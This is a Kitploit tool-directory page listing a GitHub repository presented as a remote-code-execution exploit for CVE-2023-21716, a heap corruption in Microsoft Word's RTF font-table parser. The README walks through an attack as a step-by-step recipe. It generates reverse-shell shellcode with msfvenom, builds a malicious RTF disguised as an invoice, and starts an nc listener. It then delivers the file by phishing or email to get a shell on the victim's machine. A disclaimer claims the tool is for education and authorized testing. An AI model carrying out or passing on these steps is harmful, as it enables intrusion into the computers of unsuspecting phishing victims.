Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-21716 — CVE-2023-21716 - Microsoft Word RTF fonttbl Heap Corruption RCE exploit with reverse shell payload | Kitploit
Tools/GitHubGitHub/reggyraider/cve-2023-21716
Phishing ToolsPayload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubreggyraider/cve-2023-21716

CVE-2023-21716

CVE-2023-21716 - Microsoft Word RTF fonttbl Heap Corruption RCE exploit with reverse shell payload

View Repository
2425 months agoNot yet reviewed
Share

CVE-2023-21716 — Microsoft Word RTF fonttbl Heap Corruption RCE

Severity: Critical (CVSS 9.8)
Affected: Microsoft Word 2013 / 2016 / 2019 / 2021 (unpatched)
Patch: Microsoft February 2023 Patch Tuesday
Author: REGGYRAIDER


Vulnerability Overview

CVE-2023-21716 is a heap corruption vulnerability in Microsoft Word's RTF parser (wwlib.dll).
When Word parses a \fonttbl directive containing more than 32 767 font entries, an internal signed 16-bit counter overflows, corrupting heap metadata. This allows an attacker to achieve Remote Code Execution simply by sending the victim a crafted .rtf file.

No macros. No user interaction beyond opening the file.


Setup & Exploit

Step 1 — Generate raw shellcode with msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin

Step 2 — Clone this repository

git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716

Step 3 — Build the malicious RTF

python3 exploit.py payload.bin invoice_march2024.rtf

Step 4 — Start your listener

nc -lvnp 4444

Step 5 — Deliver the file

Upload via SMB, email attachment, or any phishing vector.
When the victim opens invoice_march2024.rtf in an unpatched Word, you receive a reverse shell.


How It Works

Attacker creates RTF          Word parses \fonttbl        Heap corrupted
─────────────────────  ──►   ──────────────────────  ──►  ──────────────
\fonttbl with 32769+         Signed 16-bit counter        Attacker's
font definitions             overflows → 0x8000           shellcode runs
  1. The exploit embeds 32 769 \f<N> font definitions inside \fonttbl.
  2. Word allocates a fixed-size buffer based on the (now overflowed) counter.
  3. Subsequent font writes go past the allocated buffer, corrupting adjacent heap chunks.
  4. The raw shellcode (from payload.bin) is placed inside \pict and lands in the corrupted region, gaining execution when the allocator processes it.

Disclaimer

This tool is intended for educational purposes and authorized penetration testing only.
Using this exploit against systems you do not own or have explicit written permission to test is illegal.
The author takes no responsibility for misuse.


References

  • Microsoft Security Advisory
  • NVD Entry
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →